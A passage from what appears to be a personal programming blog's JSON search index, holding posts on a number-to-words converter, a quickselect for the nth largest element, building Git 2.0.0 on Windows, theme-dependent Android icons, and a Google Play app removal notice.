\u0026#34;; var unitsMap = [ \u0026#34;zero\u0026#34;, \u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;four\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;, \u0026#34;nine\u0026#34;, \u0026#34;ten\u0026#34;, \u0026#34;eleven\u0026#34;, \u0026#34;twelve\u0026#34;, \u0026#34;thirteen\u0026#34;, \u0026#34;fourteen\u0026#34;, \u0026#34;fifteen\u0026#34;, \u0026#34;sixteen\u0026#34;, \u0026#34;seventeen\u0026#34;, \u0026#34;eighteen\u0026#34;, \u0026#34;nineteen\u0026#34; ]; var tensMap = [\u0026#34;zero\u0026#34;, \u0026#34;ten\u0026#34;, \u0026#34;twenty\u0026#34;, \u0026#34;thirty\u0026#34;, \u0026#34;forty\u0026#34;, \u0026#34;fifty\u0026#34;, \u0026#34;sixty\u0026#34;, \u0026#34;seventy\u0026#34;, \u0026#34;eighty\u0026#34;, \u0026#34;ninety\u0026#34; ]; if (number \u0026lt; 20) words += unitsMap[number]; else { words += tensMap[Math.floor(number / 10)]; if ((number % 10) \u0026gt; 0) words += \u0026#34;-\u0026#34; + unitsMap[number % 10]; } } return words; } ","permalink":"https://madhur.co.in/blog/2014/07/28/convertnumbertoword.html","summary":"\u003cp\u003eThis time another algorithm, converting a number to word. Try typing in a number below:\u003c/p\u003e\n\u003cscript type=\"text/javascript\"\u003e\n\t\n\n\t function myController($scope)\n\t\t{\n\t\t\t$scope.problem={myWord: \"madhur\", myNum: 55};\n\t\t\n\n\t\t\t$scope.NumberToWords= function(number)\n\t\t\t{\n\t\t\t\t\n\t\t\t    if (number == 0)\n\t\t\t        return \"zero\";\n\n\t\t\t    if (number \u003c 0)\n\t\t\t        return \"minus \" + $scope.NumberToWords(Math.abs(number));\n\n\t\t\t    var words = \"\";\n\n\t\t\t    if (Math.floor(number / 1000000) \u003e 0)\n\t\t\t    {\n\t\t\t        words += $scope.NumberToWords(Math.floor(number / 1000000)) + \" million \";\n\t\t\t        number %= 1000000;\n\t\t\t    }\n\n\t\t\t    if (Math.floor(number / 1000) \u003e 0)\n\t\t\t    {\n\t\t\t        words += $scope.NumberToWords(Math.floor(number / 1000)) + \" thousand \";\n\t\t\t        number %= 1000;\n\t\t\t    }\n\n\t\t\t    if (Math.floor(number / 100) \u003e 0)\n\t\t\t    {\n\t\t\t        words += $scope.NumberToWords(Math.floor(number / 100)) + \" hundred \";\n\t\t\t        number %= 100;\n\t\t\t    }\n\n\t\t\t    if (number \u003e 0)\n\t\t\t    {\n\t\t\t        if (words != \"\")\n\t\t\t            words += \"and \";\n\n\t\t\t        var unitsMap = [ \"zero\", \"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\" ];\n\t\t\t        var tensMap = [\"zero\", \"ten\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\" ];\n\n\t\t\t        if (number \u003c 20)\n\t\t\t            words += unitsMap[number];\n\t\t\t        else\n\t\t\t        {\n\t\t\t            words += tensMap[Math.floor(number / 10)];\n\t\t\t            if ((number % 10) \u003e 0)\n\t\t\t                words += \"-\" + unitsMap[number % 10];\n\t\t\t        }\n\t\t\t    }\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t    return words;\n\t\t\t}\n\n\t\t\t$scope.change=function(number)\n\t\t\t{\n\t\t\t\t$scope.problem.myWord=$scope.NumberToWords(number);\t\t\t\t\n\t\t\t}\n\n\n\t\t\t$scope.problem.myWord=$scope.NumberToWords($scope.problem.myNum);\n\n\t\t}\n\n\n\u003c/script\u003e\n\u003cdiv ng-app ng-controller=\"myController\"\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt;\n\t\u0026lt;input type=\u0026quot;number\u0026quot; ng-change=\u0026quot;change(problem.myNum)\u0026quot; ng-model=\u0026quot;problem.myNum\u0026quot;  /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;p/\u0026gt;\n\u0026lt;br/\u0026gt;\n\n\u0026lt;div   class=\u0026quot;alert alert-success\u0026quot; ng-bind=\u0026quot;problem.myWord\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cp\u003eThe algorithm in Javascript below. \u003ca href=\"https://gist.github.com/madhur/5f4f49149e9ce68f619e\"\u003eClick here\u003c/a\u003e for C# gist.\u003c/p\u003e","title":"Algorithm: Convert number to word"},{"content":"Recently, I was asked to write the algorithm for finding nth largest item in an array.\nFinding the max is easy:\npublic class Main { public static void main(String[] args) { int array[] = { 10, 20, 30, 25, 50, 55, 90, 10, 20, 30 }; int max = 0; for (int i = 0; i \u0026lt; array.length; ++i) { if (max \u0026lt; array[i]) max = array[i]; } System.out.println(\u0026#34;The Max is: \u0026#34; + max); if (System.console() != null) System.console().readLine(); } } The Max is: 90 However, finding the nth largest is bit complicated. It uses the quick select algorithm with complexity O(n)\npublic class Main { public static void main(String[] args) { int array[] = { 10, 20, 30, 25, 50, 55, 90, 80, 70, 10, 20, 30 }; System.out .println(\u0026#34;The Max is: \u0026#34; + kthLargest(array, array.length - 1)); System.out.println(\u0026#34;The next Max is: \u0026#34; + kthLargest(array, array.length - 2)); if (System.console() != null) System.console().readLine(); } static int kthLargest(int[] list, int k) { int left = 0; int right = list.length - 1; while (true) { int pivIndex = (left + right) / 2; int newPiv = partition(list, left, right, pivIndex); if (newPiv == k) return list[newPiv]; else if (newPiv \u0026lt; k) { left = newPiv + 1; } else { right = newPiv - 1; } } } private static int partition(int[] list, int left, int right, int pivot) { int pivValue = list[pivot]; swap(list, pivot, right); // put pivot value on the end int storePos = left; for (int i = left; i \u0026lt; right; i++) { if (list[i] \u0026lt; pivValue) { swap(list, i, storePos); storePos++; } } swap(list, storePos, right); return storePos; } private static void swap(int[] list, int a, int b) { int temp = list[a]; list[a] = list[b]; list[b] = temp; } } The Max is: 90 The next Max is: 80 ","permalink":"https://madhur.co.in/blog/2014/07/28/findnthlargest.html","summary":"\u003cp\u003eRecently, I was asked to write the algorithm for finding nth largest item in an array.\u003c/p\u003e\n\u003cp\u003eFinding the max is easy:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Java\" data-lang=\"Java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMain\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e25\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e55\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e90\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e30\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\t\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\t\t\u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;The Max is: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\t\u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"na\"\u003ereadLine\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eThe Max is: 90\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eHowever, finding the nth largest is bit complicated. It uses the quick select algorithm with complexity \u003ccode\u003eO(n)\u003c/code\u003e\u003c/p\u003e","title":"Find Nth largest element in an array"},{"content":" Interested in binaries? Git 2.0.0 build can be fetched from my Github repo https://github.com/madhur/msysgit-2.0.0 Note that I have not tested it thoroughly myself. If you face any issues, do bring it to my notice but I am in no way responsible for it. Use it at your own risk.\nGit 2.0.0 just released few days back.\nAs of this writing, MsysGit for Windows has latest version 1.9.2 available for download.\nEager to try out this new version, I decided to build it myself.\nDownload MysysGit build environment for Windows from here - https://github.com/msysgit/msysgit Place it in a directory such as C:\\gitbuild\nDownload Git 2.0.0 sources from here - https://github.com/msysgit/git Copy this entire source into the git directory in C:\\gitbuild\\git\nNote: Actually, the git repository in the first step has a submodule pointing to the second repository in C:\\gitbuild\\git. If you are familiar with Git \u0026gt; submodules, you can download via submodule command as well.\nExecute msys.bat from C:\\gitbuild\\. You should be now in bash console as follows: Welcome to msysGit Run \u0026#39;git help git\u0026#39; to display the help index. Run \u0026#39;git help \u0026lt;command\u0026gt;\u0026#39; to display help for specific commands. Run \u0026#39;/share/msysGit/add-shortcut.tcl\u0026#39; to add a shortcut to msysGit. It appears that you installed msysGit using the full installer. To set up the Git repositories, please run /share/msysGit/initialize.sh madhur@MADHUR-PC / $ Note: In some envrionments, the build process should automatically begin after executing msys.bat. If it doesn\u0026rsquo;t go to the next step.\ncd to C:\\gitbuild\\git and execute make command. The build process should now begin: C:\\gitbuild\u0026gt;msys.bat ------------------------------------------------------- Building and Installing Git ------------------------------------------------------- GIT_VERSION = 2.0.0 * new build flags CC credential-store.o * new link flags CC abspath.o CC advice.o CC alias.o CC alloc.o CC archive.o CC archive-tar.o Once the build is complete, you may exit the bash shell.\nThe build process automatically places the git binaries in C:\\gitbuild\\bin. To confirm you have successfully built, cd to C:\\gitbuild\\bin and execute git.exe C:\\gitbuild\\bin\u0026gt;git --version git version 2.0.0 Congratulations you have just built Git 2.0.0 from sources. However, there are some quirks and tweaks required to be corrected, which we cover in next steps.\ngit gui command throws an error as follows:\ngit-gui: line 3: exec: wish: not found fatal: \u0026#39;gui\u0026#39; appears to be a git command, but we were not able to execute it. Maybe git-gui is broken? The reason of error is because git gui depends on Tcl/Tl 8.5.13 package. I just copied the following files and folders from my old build and it works fine.\ngit\\lib\\tcl8\ngit\\lib\\tcl8.5\ngit\\lib\\tk8.5\ngit\\lib\\tclConfig.sh\ngit\\lib\\tkConfig.sh\ngit\\bin\\wish.exe\ngit\\bin\\wish85.exe\ngit\\bin\\tcl85.dll\ngit\\bin\\tclpip85.dll\ngit\\bin\\tclsh.exe\ngit\\bin\\tclsh85.exe\ngit\\bin\\tk85.exe\nAfter copying these files, git gui should work fine.\nAt this point, you have working version of Git 2.0.0 and you can remove the sources if you want. If you get the error fatal: unable to access '.....git/': SSL certificate problem: unable to get local issuer certificate , you may have to put this line in your .gitconfig. Replace d with your drive letter.\n[http] sslCAinfo = d:/gitbuild/mingw/bin/curl-ca-bundle.crt You can also place your ssh private and public key in the .ssh folder in C:\\gitbuild in order to work with Github ssh -T git@github.com Warning: Permanently added the RSA host key for IP address \u0026#39;x.x.x.x\u0026#39; to the list of known hosts. Enter passphrase for key \u0026#39;/.ssh/id_rsa\u0026#39;: Hi madhur! You\u0026#39;ve successfully authenticated, but GitHub does not provide shell access. ","permalink":"https://madhur.co.in/blog/2014/06/08/guidebuildgit2.html","summary":"\u003cblockquote\u003e\n\u003cp\u003eInterested in binaries? Git 2.0.0 build can be fetched from my Github repo \u003ca href=\"https://github.com/madhur/msysgit-2.0.0\"\u003ehttps://github.com/madhur/msysgit-2.0.0\u003c/a\u003e\nNote that I have not tested it thoroughly myself. If you face any issues, do bring it to my notice but I am in no way responsible for it. Use it at your own risk.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://git.kernel.org/cgit/git/git.git/tree/Documentation/RelNotes/2.0.0.txt\"\u003eGit 2.0.0\u003c/a\u003e just released few days back.\u003c/p\u003e\n\u003cp\u003eAs of this writing, \u003ca href=\"http://msysgit.github.io/\"\u003eMsysGit for Windows\u003c/a\u003e has latest version 1.9.2 available for download.\u003c/p\u003e\n\u003cp\u003eEager to try out this new version, I decided to build it myself.\u003c/p\u003e","title":"Building Git 2.0.0 from sources on Windows"},{"content":"Recently, I had a requirement to change the ImageView picture to be changed based on the theme. I was using an ExpandableListView and using the ImageView as a group indicator rather than out of the box group indicator. Since my application supported both light and dark theme, I wanted to switch the group indicators, action bar icons to light and dark versions as well.\nI looked at some of the questions in StackOverflow , but none answered satisfactorily.\nIn the end, I found out it was fairly easy, without using any code. Here it is how:\nDeclare custom attributes in res/values/attrs.xml file for each of the ImageView or ActionBar icon to be changed based on theme:\n\u0026lt;declare-styleable name=\u0026#34;customAttrs\u0026#34;\u0026gt; \u0026lt;attr name=\u0026#34;actionSearchIcon\u0026#34; format=\u0026#34;reference\u0026#34; /\u0026gt; \u0026lt;attr name=\u0026#34;actionAcceptIcon\u0026#34; format=\u0026#34;reference\u0026#34; /\u0026gt; \u0026lt;attr name=\u0026#34;actionRefreshIcon\u0026#34; format=\u0026#34;reference\u0026#34; /\u0026gt; \u0026lt;attr name=\u0026#34;groupIndicatorIcon\u0026#34; format=\u0026#34;reference\u0026#34; /\u0026gt; \u0026lt;/declare-styleable\u0026gt; In the theme file which would be res/values/styles.xml or the suitable one depending upon the version you are targetting, define the same attributes pointing to the appropriate drawables. For example below, the Black theme is pointing to drawables related to dark theme and Light theme is pointing to drawables related to light theme.\n\u0026lt;style name=\u0026#34;Black\u0026#34; parent=\u0026#34;@style/Theme.AppCompat\u0026#34;\u0026gt; \u0026lt;item name=\u0026#34;actionSearchIcon\u0026#34;\u0026gt;@drawable/ic_action_search\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;actionAcceptIcon\u0026#34;\u0026gt;@drawable/ic_action_accept\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;actionRefreshIcon\u0026#34;\u0026gt;@drawable/navigation_refresh\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;groupIndicatorIcon\u0026#34;\u0026gt;@drawable/group_indicator\u0026lt;/item\u0026gt; \u0026lt;/style\u0026gt; \u0026lt;style name=\u0026#34;Light\u0026#34; parent=\u0026#34;@style/Theme.AppCompat.Light\u0026#34;\u0026gt; \u0026lt;item name=\u0026#34;actionSearchIcon\u0026#34;\u0026gt;@drawable/ic_action_search_light\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;actionAcceptIcon\u0026#34;\u0026gt;@drawable/ic_action_accept_light\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;actionRefreshIcon\u0026#34;\u0026gt;@drawable/navigation_refresh_light\u0026lt;/item\u0026gt; \u0026lt;item name=\u0026#34;groupIndicatorIcon\u0026#34;\u0026gt;@drawable/group_indicator_light\u0026lt;/item\u0026gt; \u0026lt;/style\u0026gt; Finally, coming to the actual layouts, point the relavant attributes to the attributes you have defined rather than directly to the drawables. For example in case of ActionBar icons:\n\u0026lt;item android:id=\u0026#34;@+id/action_refresh\u0026#34; android:icon=\u0026#34;?attr/actionRefreshIcon\u0026#34; android:orderInCategory=\u0026#34;107\u0026#34; android:title=\u0026#34;@string/action_refresh\u0026#34; app:showAsAction=\u0026#34;always\u0026#34;/\u0026gt; \u0026lt;item android:id=\u0026#34;@+id/action_accept\u0026#34; android:icon=\u0026#34;?attr/actionAcceptIcon\u0026#34; android:orderInCategory=\u0026#34;108\u0026#34; android:title=\u0026#34;@string/action_accept\u0026#34; app:showAsAction=\u0026#34;always\u0026#34;/\u0026gt; \u0026lt;item android:id=\u0026#34;@+id/action_search\u0026#34; android:icon=\u0026#34;?attr/actionSearchIcon\u0026#34; android:orderInCategory=\u0026#34;50\u0026#34; android:title=\u0026#34;@string/action_search\u0026#34; app:actionViewClass=\u0026#34;android.support.v7.widget.SearchView\u0026#34; app:showAsAction=\u0026#34;collapseActionView|always\u0026#34;/\u0026gt; Or in case of ImageView:\n\u0026lt;ImageView android:id=\u0026#34;@+id/group_indicator\u0026#34; android:layout_width=\u0026#34;wrap_content\u0026#34; android:layout_height=\u0026#34;wrap_content\u0026#34; android:layout_alignParentLeft=\u0026#34;true\u0026#34; android:contentDescription=\u0026#34;@string/app_name\u0026#34; android:src=\u0026#34;?attr/groupIndicatorIcon\u0026#34;/\u0026gt; The exciting part is that this concept can be applied to any control or any attribute :)\n","permalink":"https://madhur.co.in/blog/2014/06/04/changeimageviewsrctheme.html","summary":"\u003cp\u003eRecently, I had a requirement to change the \u003ccode\u003eImageView\u003c/code\u003e picture to be changed based on the theme. I was using an \u003ccode\u003eExpandableListView\u003c/code\u003e and using the \u003ccode\u003eImageView\u003c/code\u003e as\na group indicator rather than out of the box group indicator. Since my application supported both light and dark theme, I wanted to switch the group indicators, action bar icons to light and dark versions as well.\u003c/p\u003e\n\u003cp\u003eI looked at some of the questions in \u003ca href=\"http://stackoverflow.com/\"\u003eStackOverflow\u003c/a\u003e , but none answered satisfactorily.\u003c/p\u003e","title":"Change ImageView src based on Android Application theme"},{"content":"My location tracking app Hermes has been removed from Play Store by Google. This is the email which I got.\nEssentially, the donate to paypal option is what rankled Google, since they were not getting their share. I wanted to simply repost the app with that option removed, but google doesn\u0026rsquo;t leave with me with that choice, instead they wanted to upload the app with new package name which is quite a work.\nAt this point, I have no plans of releasing Hermes again. I plan to develop a completely new version of Hermes with a public API and which will not depend upon SMS service.\nFrom: Google Play Support googleplay-developer-support@google.com\nDate: Wed, May 28, 2014 at 5:00 AM\nSubject: Notification from Google Play\nTo: ahuja.madhur@gmail.com\nThis is a notification that your application, Hermes, with package ID in.co.madhur.mapmylocation, has been removed from the Google Play Store.\nREASON FOR REMOVAL: Violation of the paid and free provision of the Content Policy and section 3.3 of the Developer Distribution Agreement.\nAll violations are tracked. Serious or repeated violations of any nature will result in the termination of your developer account, and investigation and possible \u0026gt; termination of related Google accounts. If your account is terminated, payments will cease and Google may recover the proceeds of any past sales and/or the cost of \u0026gt; any associated fees (such as chargebacks and 